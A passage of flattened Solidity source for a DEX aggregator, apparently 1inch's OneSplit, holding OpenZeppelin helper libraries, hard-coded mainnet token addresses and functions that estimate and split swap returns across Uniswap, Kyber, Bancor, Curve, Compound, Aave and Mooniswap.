function underlyingAssetAddress() external view returns (IERC20);
function redeem(uint256 amount) external;
}
interface IAaveLendingPool {
function core() external view returns (address);
function deposit(IERC20 token, uint256 amount, uint16 refCode) external payable;
}
// File: contracts/interface/IMooniswap.sol
pragma solidity ^0.5.0;
interface IMooniswapRegistry {
function target() external view returns(IMooniswap);
}
interface IMooniswap {
function getReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount
)
external
view
returns(uint256 returnAmount);
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 minReturn
)
external
payable
returns(uint256 returnAmount);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/UniversalERC20.sol
pragma solidity ^0.5.0;
library UniversalERC20 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private constant ZERO_ADDRESS = IERC20(0x0000000000000000000000000000000000000000);
IERC20 private constant ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
function universalTransfer(IERC20 token, address to, uint256 amount) internal returns(bool) {
if (amount == 0) {
return true;
}
if (isETH(token)) {
address(uint160(to)).transfer(amount);
} else {
token.safeTransfer(to, amount);
return true;
}
}
function universalTransferFrom(IERC20 token, address from, address to, uint256 amount) internal {
if (amount == 0) {
return;
}
if (isETH(token)) {
require(from == msg.sender && msg.value >= amount, "Wrong useage of ETH.universalTransferFrom()");
if (to != address(this)) {
address(uint160(to)).transfer(amount);
}
if (msg.value > amount) {
msg.sender.transfer(msg.value.sub(amount));
}
} else {
token.safeTransferFrom(from, to, amount);
}
}
function universalTransferFromSenderToThis(IERC20 token, uint256 amount) internal {
if (amount == 0) {
return;
}
if (isETH(token)) {
if (msg.value > amount) {
// Return remainder if exist
msg.sender.transfer(msg.value.sub(amount));
}
} else {
token.safeTransferFrom(msg.sender, address(this), amount);
}
}
function universalApprove(IERC20 token, address to, uint256 amount) internal {
if (!isETH(token)) {
if (amount > 0 && token.allowance(address(this), to) > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, amount);
}
}
function universalBalanceOf(IERC20 token, address who) internal view returns (uint256) {
if (isETH(token)) {
return who.balance;
} else {
return token.balanceOf(who);
}
}
function universalDecimals(IERC20 token) internal view returns (uint256) {
if (isETH(token)) {
return 18;
}
(bool success, bytes memory data) = address(token).staticcall.gas(10000)(
abi.encodeWithSignature("decimals()")
);
if (!success || data.length == 0) {
(success, data) = address(token).staticcall.gas(10000)(
abi.encodeWithSignature("DECIMALS()")
);
}
return (success && data.length > 0) ? abi.decode(data, (uint256)) : 18;
}
function isETH(IERC20 token) internal pure returns(bool) {
return (address(token) == address(ZERO_ADDRESS) || address(token) == address(ETH_ADDRESS));
}
}
// File: contracts/OneSplitBase.sol
pragma solidity ^0.5.0;
//import "./interface/IBancorNetworkPathFinder.sol";
contract IOneSplitView is IOneSplitConsts {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
}
library DisableFlags {
function check(uint256 flags, uint256 flag) internal pure returns(bool) {
return (flags & flag) != 0;
}
}
contract OneSplitRoot {
using SafeMath for uint256;
using DisableFlags for uint256;
using UniversalERC20 for IERC20;
using UniversalERC20 for IWETH;
using UniversalERC20 for IBancorEtherToken;
using ChaiHelper for IChai;
uint256 constant public DEXES_COUNT = 13;
IERC20 constant public ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
IERC20 constant public dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 constant public bnt = IERC20(0x1F573D6Fb3F13d689FF844B4cE37794d79a7FF1C);
IERC20 constant public usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 constant public usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 constant public tusd = IERC20(0x0000000000085d4780B73119b644AE5ecd22b376);
IERC20 constant public busd = IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53);
IERC20 constant public susd = IERC20(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51);
IWETH constant public wethToken = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IBancorEtherToken constant public bancorEtherToken = IBancorEtherToken(0xc0829421C1d260BD3cB3E0F06cfE2D52db2cE315);
IChai constant public chai = IChai(0x06AF07097C9Eeb7fD685c692751D5C66dB49c215);
IKyberNetworkProxy constant public kyberNetworkProxy = IKyberNetworkProxy(0x818E6FECD516Ecc3849DAf6845e3EC868087B755);
IUniswapFactory constant public uniswapFactory = IUniswapFactory(0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95);
IBancorContractRegistry constant public bancorContractRegistry = IBancorContractRegistry(0x52Ae12ABe5D8BD778BD5397F99cA900624CfADD4);
//IBancorNetworkPathFinder constant public bancorNetworkPathFinder = IBancorNetworkPathFinder(0x6F0cD8C4f6F06eAB664C7E3031909452b4B72861);
IBancorConverterRegistry constant public bancorConverterRegistry = IBancorConverterRegistry(0xf6E2D7F616B67E46D708e4410746E9AAb3a4C518);
IOasisExchange constant public oasisExchange = IOasisExchange(0x794e6e91555438aFc3ccF1c5076A74F42133d08D);
ICurve constant public curveCompound = ICurve(0xA2B47E3D5c44877cca798226B7B8118F9BFb7A56);
ICurve constant public curveUsdt = ICurve(0x52EA46506B9CC5Ef470C5bf89f17Dc28bB35D85C);
ICurve constant public curveY = ICurve(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
ICurve constant public curveBinance = ICurve(0x79a8C46DeA5aDa233ABaFFD40F3A0A2B1e5A4F27);
ICurve constant public curveSynthetix = ICurve(0xA5407eAE9Ba41422680e2e00537571bcC53efBfD);
IAaveLendingPool constant public aave = IAaveLendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
ICompound constant public compound = ICompound(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
ICompoundEther constant public cETH = ICompoundEther(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5);
IMooniswapRegistry constant public mooniswapRegistry = IMooniswapRegistry(0x7079E8517594e5b21d2B9a0D17cb33F5FE2bca70);
function _buildBancorPath(
IERC20 fromToken,
IERC20 toToken
) internal view returns(address[] memory path) {
if (fromToken == toToken) {
return new address[](0);
}
if (fromToken.isETH()) {
fromToken = bancorEtherToken;
}
if (toToken.isETH()) {
toToken = bancorEtherToken;
}
if (fromToken == bnt || toToken == bnt) {
path = new address[](3);
} else {
path = new address[](5);
}
address fromConverter;
address toConverter;
if (fromToken != bnt) {
(bool success, bytes memory data) = address(bancorConverterRegistry).staticcall.gas(10000)(abi.encodeWithSelector(
bancorConverterRegistry.getConvertibleTokenSmartToken.selector,
fromToken.isETH() ? bnt : fromToken,
0
));
if (!success) {
return new address[](0);
}
fromConverter = abi.decode(data, (address));
if (fromConverter == address(0)) {
return new address[](0);
}
}
if (toToken != bnt) {
(bool success, bytes memory data) = address(bancorConverterRegistry).staticcall.gas(10000)(abi.encodeWithSelector(
bancorConverterRegistry.getConvertibleTokenSmartToken.selector,
toToken.isETH() ? bnt : toToken,
0
));
if (!success) {
return new address[](0);
}
toConverter = abi.decode(data, (address));
if (toConverter == address(0)) {
return new address[](0);
}
}
if (toToken == bnt) {
path[0] = address(fromToken);
path[1] = fromConverter;
path[2] = address(bnt);
return path;
}
if (fromToken == bnt) {
path[0] = address(bnt);
path[1] = toConverter;
path[2] = address(toToken);
return path;
}
path[0] = address(fromToken);
path[1] = fromConverter;
path[2] = address(bnt);
path[3] = toConverter;
path[4] = address(toToken);
return path;
}
function _getCompoundToken(IERC20 token) internal pure returns(ICompoundToken) {
if (token.isETH()) { // ETH
return ICompoundToken(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5);
}
if (token == IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F)) { // DAI
return ICompoundToken(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643);
}
if (token == IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF)) { // BAT
return ICompoundToken(0x6C8c6b02E7b2BE14d4fA6022Dfd6d75921D90E4E);
}
if (token == IERC20(0x1985365e9f78359a9B6AD760e32412f4a445E862)) { // REP
return ICompoundToken(0x158079Ee67Fce2f58472A96584A73C7Ab9AC95c1);
}
if (token == IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)) { // USDC
return ICompoundToken(0x39AA39c021dfbaE8faC545936693aC917d5E7563);
}
if (token == IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599)) { // WBTC
return ICompoundToken(0xC11b1268C1A384e55C48c2391d8d480264A3A7F4);
}
if (token == IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498)) { // ZRX
return ICompoundToken(0xB3319f5D18Bc0D84dD1b4825Dcde5d5f7266d407);
}
if (token == IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7)) { // USDT
return ICompoundToken(0xf650C3d88D12dB855b8bf7D11Be6C55A4e07dCC9);
}
return ICompoundToken(0);
}
function _getAaveToken(IERC20 token) internal pure returns(IAaveToken) {
if (token.isETH()) { // ETH
return IAaveToken(0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04);
}
if (token == IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F)) { // DAI
return IAaveToken(0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d);
}
if (token == IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)) { // USDC
return IAaveToken(0x9bA00D6856a4eDF4665BcA2C2309936572473B7E);
}
if (token == IERC20(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51)) { // SUSD
return IAaveToken(0x625aE63000f46200499120B906716420bd059240);
}
if (token == IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53)) { // BUSD
return IAaveToken(0x6Ee0f7BB50a54AB5253dA0667B0Dc2ee526C30a8);
}
if (token == IERC20(0x0000000000085d4780B73119b644AE5ecd22b376)) { // TUSD
return IAaveToken(0x4DA9b813057D04BAef4e5800E36083717b4a0341);
}
if (token == IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7)) { // USDT
return IAaveToken(0x71fc860F7D3A592A4a98740e39dB31d25db65ae8);
}
if (token == IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF)) { // BAT
return IAaveToken(0xE1BA0FB44CCb0D11b80F92f4f8Ed94CA3fF51D00);
}
if (token == IERC20(0xdd974D5C2e2928deA5F71b9825b8b646686BD200)) { // KNC
return IAaveToken(0x9D91BE44C06d373a8a226E1f3b146956083803eB);
}
if (token == IERC20(0x80fB784B7eD66730e8b1DBd9820aFD29931aab03)) { // LEND
return IAaveToken(0x7D2D3688Df45Ce7C552E19c27e007673da9204B8);
}
if (token == IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA)) { // LINK
return IAaveToken(0xA64BD6C70Cb9051F6A9ba1F163Fdc07E0DfB5F84);
}
if (token == IERC20(0x0F5D2fB29fb7d3CFeE444a200298f468908cC942)) { // MANA
return IAaveToken(0x6FCE4A401B6B80ACe52baAefE4421Bd188e76F6f);
}
if (token == IERC20(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2)) { // MKR
return IAaveToken(0x7deB5e830be29F91E298ba5FF1356BB7f8146998);
}
if (token == IERC20(0x1985365e9f78359a9B6AD760e32412f4a445E862)) { // REP
return IAaveToken(0x71010A9D003445aC60C4e6A7017c1E89A477B438);
}
if (token == IERC20(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F)) { // SNX
return IAaveToken(0x328C4c80BC7aCa0834Db37e6600A6c49E12Da4DE);
}
if (token == IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599)) { // WBTC
return IAaveToken(0xFC4B8ED459e00e5400be803A9BB3954234FD50e3);
}
if (token == IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498)) { // ZRX
return IAaveToken(0x6Fb0855c404E09c47C3fBCA25f08d4E41f9F062f);
}
return IAaveToken(0);
}
function _infiniteApproveIfNeeded(IERC20 token, address to) internal {
if (!token.isETH()) {
if ((token.allowance(address(this), to) >> 255) == 0) {
token.universalApprove(to, uint256(- 1));
}
}
}
}
contract OneSplitViewWrapBase is IOneSplitView, OneSplitRoot {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
return _getExpectedReturnFloor(
fromToken,
toToken,
amount,
parts,
flags
);
}
function _getExpectedReturnFloor(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
)
internal
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
}
contract OneSplitView is IOneSplitView, OneSplitRoot {
function log(uint256) external view {
}
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
distribution = new uint256[](DEXES_COUNT);
if (fromToken == toToken) {
return (amount, distribution);
}
function(IERC20,IERC20,uint256,uint256) view returns(uint256)[DEXES_COUNT] memory reserves = [
flags.check(FLAG_DISABLE_UNISWAP) ? _calculateNoReturn : calculateUniswapReturn,
flags.check(FLAG_DISABLE_KYBER) ? _calculateNoReturn : calculateKyberReturn,
flags.check(FLAG_DISABLE_BANCOR) ? _calculateNoReturn : calculateBancorReturn,
flags.check(FLAG_DISABLE_OASIS) ? _calculateNoReturn : calculateOasisReturn,
flags.check(FLAG_DISABLE_CURVE_COMPOUND) ? _calculateNoReturn : calculateCurveCompound,
flags.check(FLAG_DISABLE_CURVE_USDT) ? _calculateNoReturn : calculateCurveUsdt,
flags.check(FLAG_DISABLE_CURVE_Y) ? _calculateNoReturn : calculateCurveY,
flags.check(FLAG_DISABLE_CURVE_BINANCE) ? _calculateNoReturn : calculateCurveBinance,
flags.check(FLAG_DISABLE_CURVE_SYNTHETIX) ? _calculateNoReturn : calculateCurveSynthetix,
!flags.check(FLAG_ENABLE_UNISWAP_COMPOUND) ? _calculateNoReturn : calculateUniswapCompound,
!flags.check(FLAG_ENABLE_UNISWAP_CHAI) ? _calculateNoReturn : calculateUniswapChai,
!flags.check(FLAG_ENABLE_UNISWAP_AAVE) ? _calculateNoReturn : calculateUniswapAave,
flags.check(FLAG_DISABLE_MOONISWAP) ? _calculateNoReturn : calculateMooniswap
];
uint256[DEXES_COUNT] memory rates;
uint256[DEXES_COUNT] memory fullRates;
for (uint i = 0; i < rates.length; i++) {
rates[i] = reserves[i](fromToken, toToken, amount.div(parts), flags);
this.log(rates[i]);
fullRates[i] = rates[i];
}
for (uint j = 0; j < parts; j++) {
// Find best part
uint256 bestIndex = 0;
for (uint i = 1; i < rates.length; i++) {
if (rates[i] > rates[bestIndex]) {
bestIndex = i;
}
}
// Add best part
returnAmount = returnAmount.add(rates[bestIndex]);
distribution[bestIndex]++;
// Avoid CompilerError: Stack too deep
uint256 srcAmount = amount;
// Recalc part if needed
if (j + 1 < parts) {
uint256 newRate = reserves[bestIndex](
fromToken,
toToken,
srcAmount.mul(distribution[bestIndex] + 1).div(parts),
flags
);
if (newRate > fullRates[bestIndex]) {
rates[bestIndex] = newRate.sub(fullRates[bestIndex]);
} else {
rates[bestIndex] = 0;
}
this.log(rates[bestIndex]);
fullRates[bestIndex] = newRate;
}
}
}
// View Helpers
function calculateCurveCompound(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 /*flags*/
) public view returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) + (fromToken == usdc ? 2 : 0);
int128 j = (destToken == dai ? 1 : 0) + (destToken == usdc ? 2 : 0);
if (i == 0 || j == 0) {
return 0;
}
return curveCompound.get_dy_underlying(i - 1, j - 1, amount);
}
function calculateCurveUsdt(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 /*flags*/
) public view returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0);
if (i == 0 || j == 0) {
return 0;
}
return curveUsdt.get_dy_underlying(i - 1, j - 1, amount);
}
function calculateCurveY(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 /*flags*/
) public view returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0) +
(fromToken == tusd ? 4 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0) +
(destToken == tusd ? 4 : 0);
if (i == 0 || j == 0) {
return 0;
}
return curveY.get_dy_underlying(i - 1, j - 1, amount);
}
function calculateCurveBinance(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 /*flags*/
) public view returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0) +
(fromToken == busd ? 4 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0) +
(destToken == busd ? 4 : 0);
if (i == 0 || j == 0) {
return 0;
}
return curveBinance.get_dy_underlying(i - 1, j - 1, amount);
}
function calculateCurveSynthetix(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 /*flags*/
) public view returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0) +
(fromToken == susd ? 4 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0) +
(destToken == susd ? 4 : 0);
if (i == 0 || j == 0) {
return 0;
}
return curveSynthetix.get_dy_underlying(i - 1, j - 1, amount);
}
function calculateUniswapReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 /*flags*/
) public view returns(uint256) {
uint256 returnAmount = amount;
if (!fromToken.isETH()) {
IUniswapExchange fromExchange = uniswapFactory.getExchange(fromToken);
if (fromExchange != IUniswapExchange(0)) {
(bool success, bytes memory data) = address(fromExchange).staticcall.gas(200000)(
abi.encodeWithSelector(
fromExchange.getTokenToEthInputPrice.selector,
returnAmount
)
);
if (success) {
returnAmount = abi.decode(data, (uint256));
} else {
returnAmount = 0;
}
} else {
returnAmount = 0;
}
}
if (!toToken.isETH()) {
IUniswapExchange toExchange = uniswapFactory.getExchange(toToken);
if (toExchange != IUniswapExchange(0)) {
(bool success, bytes memory data) = address(toExchange).staticcall.gas(200000)(
abi.encodeWithSelector(
toExchange.getEthToTokenInputPrice.selector,
returnAmount
)
);
if (success) {
returnAmount = abi.decode(data, (uint256));
} else {
returnAmount = 0;
}
} else {
returnAmount = 0;
}
}
return returnAmount;
}
function calculateUniswapCompound(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 flags
) public view returns(uint256) {
if (!fromToken.isETH() && !toToken.isETH()) {
return 0;
}
if (!fromToken.isETH()) {
ICompoundToken fromCompound = _getCompoundToken(fromToken);
if (fromCompound != ICompoundToken(0)) {
return calculateUniswapReturn(
fromCompound,
toToken,
amount.mul(1e18).div(fromCompound.exchangeRateStored()),
flags
);
}
} else {
ICompoundToken toCompound = _getCompoundToken(toToken);
if (toCompound != ICompoundToken(0)) {
return calculateUniswapReturn(
fromToken,
toCompound,
amount,
flags
).mul(toCompound.exchangeRateStored()).div(1e18);
}
}
return 0;
}
function calculateUniswapChai(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 flags
) public view returns(uint256) {
if (fromToken == dai && toToken.isETH()) {
return calculateUniswapReturn(
chai,
toToken,
chai.daiToChai(amount),
flags
);
}
if (fromToken.isETH() && toToken == dai) {
return chai.chaiToDai(calculateUniswapReturn(
fromToken,
chai,
amount,
flags
));
}
return 0;
}
function calculateUniswapAave(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 flags
) public view returns(uint256) {
if (!fromToken.isETH() && !toToken.isETH()) {
return 0;
}
if (!fromToken.isETH()) {
IAaveToken fromAave = _getAaveToken(fromToken);
if (fromAave != IAaveToken(0)) {
return calculateUniswapReturn(
fromAave,
toToken,
amount,
flags
);
}
} else {
IAaveToken toAave = _getAaveToken(toToken);
if (toAave != IAaveToken(0)) {
return calculateUniswapReturn(
fromToken,
toAave,
amount,
flags
);
}
}
return 0;
}
function calculateKyberReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 flags
) public view returns(uint256) {
(bool success, bytes memory data) = address(kyberNetworkProxy).staticcall.gas(2300)(abi.encodeWithSelector(
kyberNetworkProxy.kyberNetworkContract.selector
));
if (!success) {
return 0;
}
IKyberNetworkContract kyberNetworkContract = IKyberNetworkContract(abi.decode(data, (address)));
if (fromToken.isETH() || toToken.isETH()) {
return _calculateKyberReturnWithEth(kyberNetworkContract, fromToken, toToken, amount, flags);
}
uint256 value = _calculateKyberReturnWithEth(kyberNetworkContract, fromToken, ETH_ADDRESS, amount, flags);
if (value == 0) {
return 0;
}
return _calculateKyberReturnWithEth(kyberNetworkContract, ETH_ADDRESS, toToken, value, flags);
}
function _calculateKyberReturnWithEth(
IKyberNetworkContract kyberNetworkContract,
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 flags
) public view returns(uint256) {
require(fromToken.isETH() || toToken.isETH(), "One of the tokens should be ETH");
(bool success, bytes memory data) = address(kyberNetworkContract).staticcall.gas(1500000)(abi.encodeWithSelector(
kyberNetworkContract.searchBestRate.selector,
fromToken.isETH() ? ETH_ADDRESS : fromToken,
toToken.isETH() ? ETH_ADDRESS : toToken,
amount,
true
));
if (!success) {
return 0;
}
(address reserve, uint256 rate) = abi.decode(data, (address,uint256));
if (rate == 0) {
return 0;
}
if ((reserve == 0x31E085Afd48a1d6e51Cc193153d625e8f0514C7F && !flags.check(FLAG_ENABLE_KYBER_UNISWAP_RESERVE)) ||
(reserve == 0x1E158c0e93c30d24e918Ef83d1e0bE23595C3c0f && !flags.check(FLAG_ENABLE_KYBER_OASIS_RESERVE)) ||
(reserve == 0x053AA84FCC676113a57e0EbB0bD1913839874bE4 && !flags.check(FLAG_ENABLE_KYBER_BANCOR_RESERVE)))
{
return 0;
}
if (!flags.check(FLAG_ENABLE_KYBER_UNISWAP_RESERVE)) {
(success,) = reserve.staticcall.gas(2300)(abi.encodeWithSelector(
IKyberUniswapReserve(reserve).uniswapFactory.selector
));
if (success) {
return 0;
}
}
if (!flags.check(FLAG_ENABLE_KYBER_OASIS_RESERVE)) {
(success,) = reserve.staticcall.gas(2300)(abi.encodeWithSelector(
IKyberOasisReserve(reserve).otc.selector
));
if (success) {
return 0;
}
}
if (!flags.check(FLAG_ENABLE_KYBER_BANCOR_RESERVE)) {
(success,) = reserve.staticcall.gas(2300)(abi.encodeWithSelector(
IKyberBancorReserve(reserve).bancorEth.selector
));
if (success) {
return 0;
}
}
return rate.mul(amount)
.mul(10 ** IERC20(toToken).universalDecimals())
.div(10 ** IERC20(fromToken).universalDecimals())
.div(1e18);
}
function calculateBancorReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 /*flags*/
) public view returns(uint256) {
IBancorNetwork bancorNetwork = IBancorNetwork(bancorContractRegistry.addressOf("BancorNetwork"));
address[] memory path = _buildBancorPath(fromToken, toToken);
(bool success, bytes memory data) = address(bancorNetwork).staticcall.gas(500000)(
abi.encodeWithSelector(
bancorNetwork.getReturnByPath.selector,
path,
amount
)
);
if (!success) {
return 0;
}
(uint256 returnAmount,) = abi.decode(data, (uint256,uint256));
return returnAmount;
}
function calculateOasisReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 /*flags*/
) public view returns(uint256) {
(bool success, bytes memory data) = address(oasisExchange).staticcall.gas(500000)(
abi.encodeWithSelector(
oasisExchange.getBuyAmount.selector,
toToken.isETH() ? wethToken : toToken,
fromToken.isETH() ? wethToken : fromToken,
amount
)
);
if (!success) {
return 0;
}
return abi.decode(data, (uint256));
}
function calculateMooniswap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 /*flags*/
) public view returns(uint256) {
IMooniswap mooniswap = mooniswapRegistry.target();
(bool success, bytes memory data) = address(mooniswap).staticcall.gas(1000000)(
abi.encodeWithSelector(
mooniswap.getReturn.selector,
fromToken,
toToken,
amount
)
);
if (!success) {
return 0;
}
return abi.decode(data, (uint256));
}
function _calculateNoReturn(
IERC20 /*fromToken*/,
IERC20 /*toToken*/,
uint256 /*amount*/,
uint256 /*flags*/
) internal view returns(uint256) {
this;
}
}
contract OneSplitBaseWrap is IOneSplit, OneSplitRoot {
function _swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags // See constants in IOneSplit.sol
) internal {
